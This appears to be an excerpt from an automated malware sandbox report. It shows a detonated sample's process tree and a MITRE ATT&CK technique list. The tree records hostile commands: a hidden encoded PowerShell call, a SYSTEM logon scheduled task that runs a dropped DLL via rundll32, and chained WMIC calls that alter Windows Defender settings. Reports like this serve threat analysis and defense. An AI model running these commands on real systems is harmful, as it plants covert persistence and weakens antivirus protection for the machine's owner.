C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5520

C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\LIMuSMO.exe
C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\LIMuSMO.exe XT /gRsite_idcCP 385118 /S
1⤵
PID:5472
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
  2⤵
  PID:2712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:7232
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:6168
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:6884
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:4408
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:7888
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\LHyjyu.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:5136

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:6672

C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
1⤵
PID:7180

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion